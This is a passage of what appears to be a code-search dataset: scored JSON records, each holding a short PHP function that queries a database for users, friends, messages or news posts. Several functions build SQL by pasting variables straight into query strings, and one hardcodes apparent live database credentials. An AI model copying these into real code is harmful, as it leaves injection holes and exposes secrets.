$_id_category['id_category'];\n\t\t$_id_category = explode(',',$_id_category);\n\t\t$_dropdown_value = array();\n\t\tforeach ($_id_category as $_value)\n\t\t{\n\t\t\t$this->db->select('name_category');\n\t\t\t$this->db->where('id_category',$_value);\n\t\t\t$_name_category =$this->db->get('tb_category');\n\t\t\t$_name_category = array_shift($_name_category->result_array());\n\t\t\t$_dropdown_value[$_value] = $_name_category['name_category'];\n\t\t}\n\t\treturn $_dropdown_value;\n\t}", "title": "" }, { "docid": "90c6376b9058e4dfb06626a9ba13cc5d", "score": "0.5767985", "text": "function get_board_members() {\n $sql_board_members = \"select * from member join role on member.role_id = role.id where role_id <> 7 order by role.id \";\n return query_template($sql_board_members);\n }", "title": "" }, { "docid": "b6d0ddc8750ef8bacfff99a654f22272", "score": "0.57500094", "text": "function getTwittedMsgs(){\n \t$sql = \"SELECT u.USER_ID as USER_ID, u.FIRST_NAME as FIRST_NAME, u.LAST_NAME as LAST_NAME, \" .\n\t\t\t\t\t\"u.ROLES_ID as ROLES_ID, u.LOGIN as LOGIN, c.MSG as MSG, c.CHAT_MSG_ID as MSG_ID, c.DATE1 as DATE1 FROM USERS u, CHAT_MSG c WHERE u.USER_ID = c.USER_ID\" .\n\t\t\t\t\t\" order by CHAT_MSG_ID DESC\";\n //$sql .= \"WHERE LOGIN='\".$username . \"' AND PASSWORD='\" . $password.\"'\";\n \n //$con = mysql_connect('localhost', 'root', '');\n $con = mysql_connect(\"localhost:2083\",\"gshepurc_mft\",\"goutamsh1\");\n //echo $sql;\n if (!$con)\n {\n die('Could not connect: ' . mysql_error());\n }\n //mysql_select_db(\"mftwitter\", $con);\n mysql_select_db(\"gshepurc_mftwitter\", $con);\n $result = mysql_query($sql, $con);\n //echo $sql;\n //echo $result;\n //$rows = mysql_fetch_array($result);\n return $result;\n }", "title": "" }, { "docid": "4135eb7997c3c50997bc0bfb187c085f", "score": "0.57438445", "text": "function get_followers($uid) {\n\t$db = \\Db::dbc();\n\t$sql=\"SELECT IDUSER_SUIVRE FROM SUIVRE WHERE IDUSER_ABONNE = :id \";\n\t$sth=$db->prepare($sql);\n\ttry{\n\t\t$sth->execute(array(\":id\"=>$uid));\n\t\t\t$arr=array();\n\t\t\t$i=0;\n \t\t\twhile($row=$sth->fetch()) {\n\t\t\tif(!$row) return NULL;\n \t\t\t$id[$i]=$row['IDUSER_SUIVRE'];\n\t\t\t$arr[$i]=get($id[$i]);\n\t\t\t$i++;\n \t \t\t}\n \t\treturn $arr;\n\t\t\t\n\t}catch(PDOException $e){\n \techo 'failed:'.$e->getMessage();\n exit;\n \t}\n\n}", "title": "" }, { "docid": "555abede5f55b98638c12070935b8c95", "score": "0.57127804", "text": "function friend_list($uid, $limit, $start=0) {\n\t$list = array();\n\t$query = DB::query(\"SELECT * FROM \".DB::table('home_friend').\"\n\t\tWHERE uid='$uid' ORDER BY num DESC, dateline DESC\n\t\tLIMIT $start, $limit\");\n\twhile ($value = DB::fetch($query)) {\n\t\t$list[$value['fuid']] = $value;\n\t}\n\treturn $list;\n}", "title": "" }, { "docid": "784a4c2547f85ac0c30b7f7393e1c632", "score": "0.5701232", "text": "function get_teachers(){\n\t$db = get_database_connection();\n $statement = $db->prepare(\"SELECT name, id, seq FROM teacher ORDER BY seq\");//mmm added seq and ORDER BY seq\n $statement->execute();\n\t$db= null;\n\treturn $statement->fetchAll();\n}", "title": "" }, { "docid": "3f9518cb7c4632a484d48bf5fe05fc9a", "score": "0.56613296", "text": "function check_last_update($user_id)\n\t{\n\t$this->db->distinct ('tb_zhopie_zhout.id_zhout');\n\t$this->db->from('tb_zhopie_zhout');\n\t$this->db->join('tb_relation_zhout','tb_relation_zhout.id_zhout=tb_zhopie_zhout.id_zhout');\n\t$this->db->where('tb_zhopie_zhout.id_member',$user_id);\n\t$this->db->where('tb_relation_zhout.id_member_and_friends',$user_id);\n\t$this->db->order_by('tb_zhopie_zhout.id_zhout','DESC');\n\t$this->db->limit(10);\n\t\n\treturn $this->db->get();\n\t}", "title": "" }, { "docid": "7382cadd6da0aca138809afc81840aea", "score": "0.56487143", "text": "public function getTopCommentatorEver(){\n try{\n\t \t$sql = \"SELECT U.id as id, U.username AS username, U.mail AS mail, U.name as name, U.firstname as firstname, U.school as school, U.section as section, U.address as address, U.lastlogin as lastlogin, U.subscription as subscription, COUNT( C.id ) AS nbrcomment, U.facebookid as facebookid\n\t\t\t\t\tFROM User U, \n\t\t\t\t\tCOMMENT C\n\t\t\t\t\tWHERE C.userid = U.id\n\t\t\t\t\tGROUP BY userid\n\t\t\t\t\tORDER BY `nbrcomment` DESC \n\t\t\t\t\tLIMIT 0 , 10\";\n\t \t$stmt = $this->_db->prepare($sql);\n\t $stmt->execute();\n\t\t\tif($stmt->errorCode() != 0){\n\t\t\t\t$error = $stmt->errorInfo();\n\t\t throw new SQLException($error[2], $error[0], $sql, \"Impossible d'obtenir le resultat de la recherche\");\n\t\t }\n\t\t\t$users = array();\n\t\t\twhile ($data = $stmt->fetch(PDO::FETCH_ASSOC)){ \t\n\t \t$users[] = new User($data);\n\t } \n\t return $users;\n \t\t}catch(PDOException $e){\n \tthrow new DatabaseException($e->getCode(), $e->getMessage(), \"Impossible d'obtenir la liste des User public\");\n }\n }", "title": "" }, { "docid": "ae2c1eea09c38feb36674f3f31f8abf1", "score": "0.56209356", "text": "function lastestMessage($username)\n{\n global $con;\n $stmt=$con->prepare(\"select users.* ,message from message ,users where users.id_user=message.user_id AND users.name!=? And message.id in (select max(id) from message group by message.user_id)\n\");\n $stmt->execute(array($username));\n $row=$stmt->fetchAll();\n return $row;\n\n}", "title": "" }, { "docid": "335dc784595f0f2061e82feb2b9d2328", "score": "0.5605063", "text": "function get_congnghe_news(){\n\t\t\t$kn = $this->connect();\n\t\t\t$lenh = \"SELECT idbv, tenbv, idcm, thumb, linkbv, mota, ngaydang FROM tblbaiviet where idcm = 1 ORDER BY idbv DESC LIMIT 8\";\n\t\t\t$kq = mysql_query($lenh,$kn);\n\t\t\t$kiemtra = mysql_num_rows($kq);\n\t\t\tmysql_close();\n\t\t\tif($kiemtra>0){\n\t\t\t\treturn $kq;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "669d5e415273c039c84aee03160f59d6", "score": "0.5602639", "text": "function selectComments($id) {\r\n return $this->db->query(\"select * from users join newsfeed on users.user_id= newsfeed.friend_id where newsfeed.user_id= '$id' ORDER BY time ASC\");\r\n\r\n\t}", "title": "" }, { "docid": "d2c70c81805913336f5446c0acc73f77", "score": "0.5589312", "text": "public function run_msg_query($uid,$page = 0){\n\n$i = $this->userid;\n\n$msg_limit = $this->settings['PM_MESSAGES_LIMIT']; // from settings\n$start = ($page * $msg_limit) - $msg_limit;\n///$start = isset($_POST['s_at']) ? $this->test_input($_POST['s_at']) : $start;\n\n$limit = $page ? \"limit {$start},{$msg_limit}\" : \"limit \".$msg_limit;\n\n$query = $this->query_select(\"\nSELECT * FROM (\nselect *, (select COUNT(id) from \".tbl_msg.\" where fromUser = '{$i}' and toUser = '{$uid}' and `deleteby` != '{$i}' OR \n\t\t\t `fromUser` = '{$uid}' and `toUser` = '{$i}' and `deleteby` != '{$i}') as c\n\n\t\t\t from \".tbl_msg.\" where fromUser = '{$i}' and toUser = '{$uid}' and `deleteby` != '{$i}'\n\t\t\t OR \n\t\t\t `fromUser` = '{$uid}' and `toUser` = '{$i}' and `deleteby` != '{$i}' order by time desc {$limit}\n\n) sub\n ORDER BY time ASC\n\");\n\nreturn $query;\n\n}", "title": "" }, { "docid": "d3772aabf2cc3230acc20ffed846d062", "score": "0.5565959", "text": "function cari_tahun(){\n $this->db->select('distinct(tahun) as tahun');\n $this->db->from('tv_jadwal');\n $query=$this->db->get();\n return $query;\n }", "title": "" }, { "docid": "463ae703b939f5dff668b5dfd8db54d1", "score": "0.5526491", "text": "public function fetchMaharashtraTour()\n\t{\n\t\t$this->db->order_by($this->id,$this->order);\n\t\treturn $this->db->get($this->table)->result();\n\t}", "title": "" }, { "docid": "94a42e011f5e64dfc65c33352f999c63", "score": "0.55256784", "text": "function getMember(){\n $users=Yii::app()->db->createCommand('SELECT username FROM Users WHERE level_user>=1 ')->queryAll();\n foreach ($users as $key => $value) {\n $users[$key] = array_shift($value);\n}\nreturn $users;\n}", "title": "" }, { "docid": "dd08f4aff4e78e4a3394501ab663e4b8", "score": "0.5523624", "text": "function rec_info_outbox($connect){\r\n $sql = \"SELECT DISTINCT tag FROM sms_in WHERE sender_number = '16216' \";\r\n $result = mysqli_query($connect, $sql);\r\n return $result;\r\n }", "title": "" }, { "docid": "020647f96dffe36ae6b0895d284a3aa1", "score": "0.5488401", "text": "function select_asc($table,$uid)\r\n{ \r\n\t$sql_desc =\"select * from $table order by $uid asc limit 10\";\r\n $res = mysql_query($sql_desc);\r\n $count = mysql_num_rows($res); \r\n if($count>0)\r\n\t{\r\n\t\t\r\n\t\treturn $res;\r\n\t}\r\n\telse\r\n\t{\r\n\t\t$msg=\"No Records Found\";\r\n\t\treturn $msg;\r\n\t}\t\r\n}", "title": "" }, { "docid": "9c65544d2dde23f30a471e1b7a1be5ba", "score": "0.54728836", "text": "function getFeed($db, $id)\n{\n\n $feed = $db->prepare(\"SELECT amis.*, utilisateurs.*, feed.membre_id as mid, feed.feed_id, feed.image, feed.description, feed.pseudo_membre FROM feed \n INNER JOIN amis ON amis.membre_id = {$id} \n AND amis.amis_membre_id = feed.membre_id \n OR amis.membre_id = feed.membre_id \n AND amis.amis_membre_id = {$id} \n INNER JOIN utilisateurs ON utilisateurs.id = feed.membre_id \n WHERE amis.statut = 'amis' OR feed.membre_id = {$id} ORDER BY feed.feed_id DESC\");\n $feed->execute();\n $feed = $feed->fetchAll();\n\n return $feed;\n}", "title": "" }, { "docid": "2ad1cecf8d42d9ad05431093c9736bf9", "score": "0.5472269", "text": "function showFriend($conn, $UserId){\n $res = mysqli_query($conn,\"select FUserId2 as fri from `Friends` where FUserId1 = \".$UserId.\" \n\t Union select FUserId1 as fri from `Friends` where FUserId2 = \".$UserId);\n return $res;\n}", "title": "" }, { "docid": "85be1c82c8d25cfb4320b1601935c578", "score": "0.5461292", "text": "function showFriendWaitingList($conn, $UserId){\n $res = mysqli_query($conn,\"select * from FriendWaitingList Where FWUserId2 = \".$UserId);\n return $res;\n}", "title": "" }, { "docid": "e114b17d346b611ecc87867a513e70ed", "score": "0.5457238", "text": "function GetArrOfPodch($id_ruk){\t//вытаскиваем всех подчиненых\n\t$query = \"SELECT *,'ruck' as str FROM Speech_Who WHERE rukovod = '$id_ruk'\";\n\t//echo $query;\n\t//UNION SELECT *,'podch' as str FROM Speech_Who WHERE rukovod = '$avtor'\";\n\t//UNION SELECT *,'ruck' as str FROM Speech_Who WHERE id = (SELECT rukovod FROM Speech_Who WHERE id = '$avtor')\"; \n\t\t$result = mysql_query($query) or die(mysql_error());\n\t\t$n = mysql_num_rows($result);\n\t\t$arrWho = array();\n\t\tif($n >0){\n\t\t\t//echo \" n >0 \";\n\t\t\tfor ($i = 0; $i < $n; $i++)\n\t\t\t{\n\t\t\t\t$row = mysql_fetch_assoc($result);\t\t\n\t\t\t\t$arrWho[] = $row;\n\t\t\t\t//if($row['id'] ==$SpeechArr[0]['id_avtor']){ $titleStr = $row['Who'];\t}\n\t\t\t\t//return $row;\n\t\t\t}\n\t\t}\n\t\treturn $arrWho;\n\t}", "title": "" }, { "docid": "76d3c4f972005388282b1f15ec69a613", "score": "0.5456054", "text": "function get_all_fellows(){\n\t\t\treturn $this->create_fellows_from_query(\"SELECT * from `fellows` ORDER BY `lastname` ASC\");\t\t\t\n\t\t}", "title": "" }, { "docid": "431ba913d9e46fdb1d1e538cc13f43a7", "score": "0.54553074", "text": "function get_danhsach_monhoc()\r\n {\r\n \r\n $str_query=\"SELECT DISTINCT monhoc.MaMH,TenMH\r\n FROM loplt,monhoc\r\n WHERE loplt.MaMH=monhoc.MaMH\"; \r\n \r\n $query_lt=$this->db->query($str_query);\r\n $result_lt=$query_lt->result_object(); \r\n \r\n \r\n $str_query=\"SELECT DISTINCT monhoc.MaMH,TenMH\r\n FROM lopth,monhoc\r\n WHERE lopth.MaMH=monhoc.MaMH\"; \r\n \r\n \r\n $query_th=$this->db->query($str_query);\r\n $result_th=$query_th->result_object();\r\n $result=array_merge($result_lt,$result_th);\r\n return $result;\r\n }", "title": "" }, { "docid": "0cc6be163204181cf8640877913630e7", "score": "0.5431751", "text": "function bracket_get_tournament_16p_de() {\n global $wpdb;\n $tournament_name = $wpdb->get_results(\"SELECT * FROM \".$wpdb->prefix.\"bracket_16player_de ORDER BY id ASC\");\n return $tournament_name;\n}", "title": "" }, { "docid": "ce29fc7202542ce62b9816cd83d3904c", "score": "0.5430822", "text": "function listi_H() {\r\n\tglobal $bdd;\r\n\t$demando = \"select personoj.id as id,personoj.enirnomo as enirnomo,nuna_kurso.stato as stato,nuna_kurso.findato as findato from nuna_kurso,personoj where nuna_kurso.studanto=personoj.id and nuna_kurso.stato='H' order by findato desc\";\r\n\t$result = $bdd->query($demando) or die(print_r($bdd->errorInfo()));\r\n\twhile($row = $result->fetch()) {\r\n\t\techo \"<option value=\\\"\".$row[\"id\"].\"\\\">\";\r\n\t\techo $row[\"enirnomo\"].\" (abandonné le \".$row[\"findato\"];\r\n\t\techo \")</option>\";\r\n\t}\r\n}", "title": "" }, { "docid": "dd0bc6ae6e177321f910b74fece37bdc", "score": "0.54247206", "text": "function getLatestUsers($limit){\r\n\t\t$conn = Doctrine_Manager::connection();\r\n\t\t$all_users = $conn->fetchAll(\"SELECT u.id as id, concat(u.firstname, ' ', u.lastname, ' ', u.othername) as name FROM useraccount AS u WHERE u.type = 8 order by u.datecreated DESC limit \".$limit);\r\n\t\treturn $all_users;\r\n\t}", "title": "" }, { "docid": "51e6058f5a9e4c6c9e1d4b1d223194a1", "score": "0.54228204", "text": "function loadBuzz($arrArg = array()) {\n $id = $arrArg ['id'];\n if(isset($arrArg ['limit']))\n {\n $limit=$arrArg ['limit'];\n } else {\n $limit=0;\n }\n \n $sql = \"select b.user_id as id,b.id as buzz_id,b.buzztext,\n p.first_name,p.last_name,photo.path, b.buzz_time\n from \n buzz b \n join personal_profile p \n on p.user_id=b.user_id \n join photo \n on photo.id=p.profile_pic_id \n where \n ( \n b.buzz_status='0'\n AND\n ( \n b.user_id='$id' \n OR \n b.user_id in \n (\n select s.corp_id from subscription s\n where s.user_id='$id'\n AND s.subscribe_status='0'\n ) \n OR \n b.user_id in \n (\n select u.user_id from users u\n where u.type='2'\n ) \n OR \n b.user_id in \n\t (\n\t select f.friend_id from friend f\n\t where f.user_id='$id' \n\t AND friendship_status='1') \n\t )\n\t )\n \t order by buzz_time desc\n limit $limit,8\n \";\n $result = $this->executeSQLP ( $sql );\n while ( $row = $result->fetch ( PDO::FETCH_ASSOC ) ) {\n $row2 = array ();\n $buzzId = $row ['buzz_id'];\n \n $row2 = $this->loadComment ( array (\n \"buzz_id\" => $buzzId \n ), true );\n $row3=$this->loadLike( array (\n \"id\"=>$id,\n \"buzz_id\" => $buzzId \n ));\n $row5=loadModel(\"users\",\"getType\",$row['id']);\n \n $buzz [] = array (\n \"buzz\" => $row,\n \"comment\" => $row2,\n \"like\"=>$row3,\n \"type\"=>$row5, \n );\n $row = array ();\n }\n if (isset ( $buzz )) {\n return $buzz;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "e4a67421fd977aabdfd1c7a4b7f62154", "score": "0.54152775", "text": "function get_five_news(){\n\t\t\t$kn = $this->connect();\n\t\t\t$lenh = \"\n SELECT idbv,tenbv,bv.idcm,thumb,linkbv,ngaydang, tencm\n FROM tblbaiviet bv, tblcm cm\n WHERE \n \tbv.hienthi = 1\n \tand tinnoibac = 1 \n \tAND bv.idcm = cm.idcm\n ORDER BY idbv DESC\n LIMIT 0,5\n \";\n\t\t\t$kq = mysql_query($lenh,$kn);\n\t\t\treturn $kq;\n\t\t}", "title": "" }, { "docid": "bf6554055a8670ae0c4e4638ca9421bb", "score": "0.5414329", "text": "function getMembers(){\n $sql = \"SELECT * FROM Member\n ORDER BY lname, fname\";\n $statement = $this->_dbh->prepare($sql);\n $statement->execute();\n $result = $statement->fetchAll(PDO::FETCH_ASSOC);\n return $result;\n }", "title": "" }, { "docid": "fb536e6c2b78421bf310173b4f274bf2", "score": "0.5411131", "text": "function rec_info($connect){\r\n $sql = \"SELECT DISTINCT tag FROM sms_in WHERE sender_number = 'bKash' \";\r\n $result = mysqli_query($connect, $sql);\r\n return $result;\r\n }", "title": "" }, { "docid": "e33284ae98f0cad29009e2b397ee31fe", "score": "0.54108256", "text": "public function getAllcartoonNewsinner(){\n\t \t$query = \"SELECT * FROM tbl_cartoon WHERE status = '1'AND category_id = '32' ORDER BY category_id DESC LIMIT 10\";\n\t \t$result = $this->db->select($query);\n\t \treturn $result;\n\t }", "title": "" }, { "docid": "aa4afc0722f1753eb4f2dd05ca026c96", "score": "0.54107165", "text": "function get_bai_viet_moi(){\n\t\t\t$kn = $this->connect();\n\t\t\t$lenh = \"SELECT idbv, tenbv, idcm, thumb, linkbv, mota, ngaydang FROM `tblbaiviet` where hienthi=1 ORDER BY idbv DESC LIMIT 4\";\n\t\t\t$kq = mysql_query($lenh,$kn);\n\t\t\t$kiemtra = mysql_num_rows($kq);\n\t\t\tmysql_close();\n\t\t\tif($kiemtra>0){\n\t\t\t\treturn $kq;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "614cd941cc8b27c2925dcbc3d0dc0d4a", "score": "0.54014766", "text": "function getAllMessage(){\n $bdd = bdd();\n $requete = $bdd->prepare('SELECT * FROM postSujet WHERE sujet = :sujet ORDER BY id DESC LIMIT 15');\n $requete->execute(array('sujet'=> $_GET['sujet']));\n return $requete;\n}", "title": "" }, { "docid": "ec58e627f9754bd64b18b86bed82c049", "score": "0.53990406", "text": "public function listAmznOrderByUid($uid){\r\n\t\t$cdb = new CrunchDB(constant(\"CRDB_PATH\"));\r\n\t\t$tbl = $cdb->table(constant(\"TBL_MYGIFTCODE_AMZN_ORDER\"));\r\n\t\t$data = $tbl->select([\"uid\", \"==\", $uid])->fetch()[0];\r\n\t\t//var_dump($data);\r\n\t\treturn $data;\r\n\t}", "title": "" }, { "docid": "165918f48d0aa0bca93f70b8c5bc9a2f", "score": "0.5394641", "text": "function lstAffecteActions(){\r\n\tinclude('connexionPG.php');\r\n\t$reponse = $bdd->query('SELECT distinct(affecte) AS nom FROM actions ORDER BY affecte');\r\n\t$lst=$reponse->fetchAll(PDO::FETCH_ASSOC);\r\n\t$reponse->closeCursor();\r\n\treturn $lst;\r\n}", "title": "" }, { "docid": "5d569a27ffa9316c9571d9dc05e35fdf", "score": "0.5394635", "text": "function getUserFriends($id)\n{\n\t$query = 'SELECT id_user1, id_user2 FROM `users_friends` WHERE `id_user1` = \"'.$id.'\" OR `id_user2` = \"'.$id.'\"';\n\n\t$result = dbFetchAllAssoc($query);\n\n\tif ($result != false) {\n\t\tforeach ($result as $key => $value){ //premier tableau resortie de la bdd\t\t\n\t\t\tforeach ($value as $key => $id_Friend) { // resortir les id en string \n\t\t\t\tif ($id_Friend != $id) {\n\t\t\t\t\t$Friends = new User();\n\t\t\t\t\t$Friends->set_id($id_Friend);\n\t\t\t\t\t$Friends->hydrate();\n\t\t\t\t\t$friends[] = $Friends; // ajout de l'objet $Friends dans le tableau $friends\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $friends;\t\n\t}else{\n\t\treturn false;\n\t}\t\t\n\t\n}", "title": "" }, { "docid": "a1a5409b7af548fdc63f494565bba53e", "score": "0.5390786", "text": "function get_distinct(){\n\n $list_distinct=$this->mongo_db->distinct('personnes', 'nom');\n return $list_distinct;\n\n\n}", "title": "" }, { "docid": "ce3e41cf38449fe94622ae6d97b15370", "score": "0.53878623", "text": "function showAllUsersOnSurname(){\n $sQuery = \"SELECT * FROM `users` ORDER BY `sSurname`\";\n $aFetchedResults = executeQuery($sQuery);\n foreach($aFetchedResults as $aRecord){\n echo(\"De naam is: \".$aRecord['sSurname'].\"<br/>\");\n }\n}", "title": "" }, { "docid": "382808665e6881d79dc8733614582af1", "score": "0.53860575", "text": "public function get_players(){\n $this->db->order_by(\"credits\",\"desc\");\n $this->db->from('users');\n $query = $this->db->get();\n return $query->result();\n }", "title": "" }, { "docid": "3b3237b936d64cb2a2faac80a21fed0a", "score": "0.53849006", "text": "function showFriend($conn, $UserId){\n $res = mysqli_query($conn,\"select FUserId2 as fri from Friend where FUserId1 = \".$UserId.\" Union select FUserId1 as fri from Friend where FUserId2 = \".$UserId);\n return $res;\n}", "title": "" }, { "docid": "20861c197f40b731aa86f15e918a0052", "score": "0.5384516", "text": "function getTopPlayers($dbh){\n $limit = 10;\n $index = 0;\n $playerList = [];\n $command = \"SELECT * FROM players ORDER BY Wins DESC\";\n $stmt = $dbh->prepare($command);\n $success = $stmt->execute();\n\n if($success){\n while ($index <= $limit){\n $row = $stmt->fetch();\n $player = new Player($row[\"Email\"], $row[\"Wins\"], $row[\"Losses\"], $row[\"LastDayPlayed\"]);\n array_push($playerList, $player);\n $index++;\n }\n return $playerList;\n }\n else{\n echo \"<p>Error while retrieving Top Players list.</p>\";\n }\n\n}", "title": "" }, { "docid": "63ff101c7c688710e2e1617c5b531163", "score": "0.5374027", "text": "function show_more_post_check_last_update($user_id,$offset)\n\t{\n\t$this->db->select ('tb_zhopie_zhout.id_zhout');\n\t$this->db->from('tb_zhopie_zhout');\n\t$this->db->join('tb_relation_zhout','tb_relation_zhout.id_zhout=tb_zhopie_zhout.id_zhout');\n\t$this->db->where('tb_relation_zhout.id_member_and_friends',$user_id);\n\t$this->db->where('tb_zhopie_zhout.id_member',$user_id);\n\t$this->db->order_by('tb_zhopie_zhout.id_zhout','DESC');\n\t$this->db->limit(10,$offset);\n\t\n\treturn $this->db->get();\n\t}", "title": "" }, { "docid": "9d3d874609514b37d74f0ffee71a8bf9", "score": "0.53669876", "text": "function recupCommander($mysql){\n\t$req = $mysql->prepare('SELECT iduser FROM commande WHERE statut != 5');\n\t$req->execute(array(\n\t\t));\n\tif($req->rowCount()>=1) {\n\t\twhile ($donnees = $req->fetch(PDO::FETCH_ASSOC)){\n\t\t\t$tab[] = $donnees['iduser'];\n\t\t}\n\t}\n\t\treturn $tab;\n}", "title": "" }, { "docid": "d9d3c64869531ebc9401488c75b0e945", "score": "0.5346881", "text": "function getLatestCampaigns () {\n $sql = sprintf('select * from %s order by id desc limit ' . MAX_CAMPAIGNS_COUNT, $GLOBALS[\"tables\"][\"message\"]);\n $result = Sql_Query($sql);\n return $result;\n}", "title": "" }, { "docid": "0e2e6ca7469c75a9c68e1615b5b4e3aa", "score": "0.5338223", "text": "function relation_movie_ids($name1, $name2){\n \n $db = dbConnect(DB_CONNECTION);\n $id1 = actor_name_to_id($name1);\n $id2= actor_name_to_id($name2);\n //echo \"name2 is $name2 and id2 is $id2\\n\";\n $movie_ids;\n $q = \" select movie_id from (select movie_id, count(movie_id) as count_num from acting where actor_id = \".$id1.\"or actor_id = \".$id2.\" group by movie_id order by count_num desc) as a where count_num=2\";\n $r = dbQuery($db, $q);\n \n while($t = dbNext($r)){\n $movie_id = $t[0];\n $movie_ids[] = $movie_id;\n }\n \n return $movie_ids;\n}", "title": "" }, { "docid": "778e7996fd78373292bce6b4b2111e0b", "score": "0.53365374", "text": "function get_materi_guru($table,$order,$where,$limit,$start) { \t\n\t\t$this->db->where('id_user', $where);\n $this->db->order_by($order, 'DESC');\n $this->db->limit($limit, $start);\n return $this->db->get($table);\n }", "title": "" }, { "docid": "dab52784355b9d08fc6738c381e1a8d5", "score": "0.533168", "text": "function getWishlistName() {\n $conn = openCon();\n $sql = \"SELECT DISTINCT WishlistName\n FROM wishlist\n WHERE userid=1\n ORDER BY 1 DESC\";\n $result = mysqli_query($conn, $sql);\n\n $names = array();\n if (mysqli_num_rows($result) > 0) {\n while ($row = mysqli_fetch_assoc($result)) {\n $names[] = $row['WishlistName'];\n showWishlist($row['WishlistName']);\n }\n }\n return $names;\n }", "title": "" }, { "docid": "8e69a44764cbf1bd11cc12f0aaefda07", "score": "0.53314674", "text": "function info_recuper_lister_user(){\n $infos = array();\n $query = mysql_query(\"SELECT * FROM users WHERE username != '{$_SESSION['username']}' ORDER BY etatuser DESC\");\n while($rows = mysql_fetch_assoc($query)){\n $infos[]=$rows;\n }\n return $infos;\n }", "title": "" }, { "docid": "facd574923f9ecaf28aa3cddbb41313f", "score": "0.5329864", "text": "function insert_friends_id ($id_zhout,$id_friends)\n\t{\n\t\t if(is_array($id_friends))\n\t\t {\n\t\t\t foreach ($id_friends as $index=> $value)\n\t\t\t {\n\t\t\t\t$this->db->set('id_zhout',$id_zhout);\n\t\t\t\t$this->db->set('id_member_and_friends', $value['id_member']);\n\t\t\t\t$this->db->insert('tb_relation_zhout');\n\t\t\t }\n\t\t }\n\t}", "title": "" }, { "docid": "4850c0c2bdebfc8f05453b7604cdeb39", "score": "0.5323392", "text": "function bracket_get_tournament_64p() {\n global $wpdb;\n $tournament_name = $wpdb->get_results(\"SELECT * FROM \".$wpdb->prefix.\"bracket_64player ORDER BY id ASC\");\n return $tournament_name;\n}", "title": "" }, { "docid": "7b02f8dc4a5eaa5cf26bcb906389f72f", "score": "0.5319793", "text": "function getCarreras()\n{\n\tglobal $conexion;\n\t$listado=mysqli_query($conexion,'SELECT DISTINCT * FROM carreras');\n\treturn $listado->fetch_all();\n}", "title": "" }, { "docid": "b1f16c0ca2669dfba51d2a24d2f618a3", "score": "0.53196454", "text": "function bracket_get_tournament_8p_de() {\n global $wpdb;\n $tournament_name = $wpdb->get_results(\"SELECT * FROM \".$wpdb->prefix.\"bracket_8player_de ORDER BY id ASC\");\n return $tournament_name;\n}", "title": "" }, { "docid": "d84cf03465f47a75baa9924a8d04a3d4", "score": "0.53132856", "text": "public function ListaOcupacionMaquinas($id_maq_ocupacion) {\n $stmt = $this->objPdo->prepare(\"\n \n select top 50 * \n ,case when dispo.movdismaq_atendido = '0' then '<span class=\".'\"label label-danger arrowed-in\"'.\">Pendiente</span>' \n else '<span class=\".'\"label label-success arrowed\"'.\">Atendido</span>' end as movdismaq_atendido\n ,ved.cantped, ved.codart,ved.desart,vec.codcli,vec.razonsocial\n \t,SEMI.artsemi_id, KANDET.prokandet_tipo\n from PROMOVDISPONIBILIDADMAQ dispo\n inner join \" . $_SESSION['server_vinculado'] . \"vepedidod ved on ved.nroped = dispo.movdismaq_numped\ninner join \" . $_SESSION['server_vinculado'] . \"vepedidoc vec on vec.nroped = dispo.movdismaq_numped \nINNER JOIN PROPROGKANBANDET KANDET ON KANDET.prokandet_id =dispo.movdismaq_idkanban\nINNER JOIN PROARTSEMITERMINADO SEMI ON SEMI.artsemi_id = KANDET.artsemi_id\nwhere dispo.movdismaq_idmaq = '$id_maq_ocupacion'\n order by dispo.movdismaq_fecinicio desc\n\n \");\n $stmt->execute();\n $maq = $stmt->fetchAll(PDO::FETCH_ASSOC);\n return $maq;\n }", "title": "" }, { "docid": "a4a7340fa32ebba7f3b6a39618eeeaeb", "score": "0.53132117", "text": "function GetAllChirurgien()\n\t{\n\n\t $sql = \"SELECT Chirurgien from \".$this->TableIpop.\" where site='\".$_SESSION['site'].\"' and Chirurgien is not null and Chirurgien<>'' group by Chirurgien order by Chirurgien\";\n\t\t$data=parent::select($sql);\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "87c84217170577ca7b3f51c4bfc7fa5c", "score": "0.5306261", "text": "function thongtinsvtomtat($id)\n{\n return laymot(\"SELECT * FROM taikhoan WHERE taikhoan.id= $id \");\n}", "title": "" }, { "docid": "bb21daf7d1075ffb94785678ca8b680f", "score": "0.53042644", "text": "function GetTop10(){\n $query = 'select item.*,COUNT(listlike.id_item) as luotlike from item INNER JOIN listlike on item.id=listlike.id_item GROUP BY (listlike.id_item) asc limit 10';\n $rows= mysqli_query($this->connect, $query);\n $data = [];\n while ($row = mysqli_fetch_array($rows)){\n $data[]=$row;\n }\n return $data;\n }", "title": "" }, { "docid": "097c101365a650da995faae48a40e2d9", "score": "0.5302347", "text": "function get_users($id)\n\t{\n\t\t$sql = \"SELECT * from backoffice_user_search WHERE \\\"Status\\\"=1 AND \\\"Unique\\\" = \".$id.\" ORDER BY \\\"Unique\\\" DESC\";\n \n\t\t$query = $this->db->query($sql);\n\t\treturn $query->result_array();\n\t}", "title": "" }, { "docid": "050559b71e19a7a9a9bd368a44e0a49d", "score": "0.53011847", "text": "function get_list_club_followed($DB, $ID_user){\n\n $query = \"SELECT c.name, c.ID_club FROM club_member cm JOIN club c ON cm.ID_club = c.ID_club WHERE ID_user=\".$ID_user;\n $r = $DB->selectDB($query);\n $list_club = array();\n $i=0;\n if($r){\n while($row = mysqli_fetch_array($r)){\n $list_club[$i]['name'] = $row['name'];\n $list_club[$i]['ID'] = $row['ID_club'];\n $i++; \n }\n return $list_club;\n }\n return false;\n}", "title": "" }, { "docid": "bfbbd9424189d97fe0af7d83040533ac", "score": "0.52970636", "text": "function showFriendWaitingList($conn, $UserId){\n $res = mysqli_query($conn,\"select * from `FdWaitingList` Where FWUserId2 = \".$UserId);\n return $res;\n}", "title": "" }, { "docid": "06077b292b159a95fb29eedbe17bad32", "score": "0.5296622", "text": "function get_players_list($c){\n $sql = (\"SELECT *\nFROM joueurs J\nINNER JOIN utilisateurs U ON J.id_utilisateurs = U.id\");\n $result = mysqli_query($c,$sql);\n $players_list= array ();\n $loop = 0;\n while ($donnees = mysqli_fetch_assoc($result))\n {\n $players_list[$loop]= $donnees;\n $loop++;\n }\n return $players_list;\n}", "title": "" }, { "docid": "99e0a213f00ad84c8e2c5cbdd795df2b", "score": "0.52927524", "text": "function 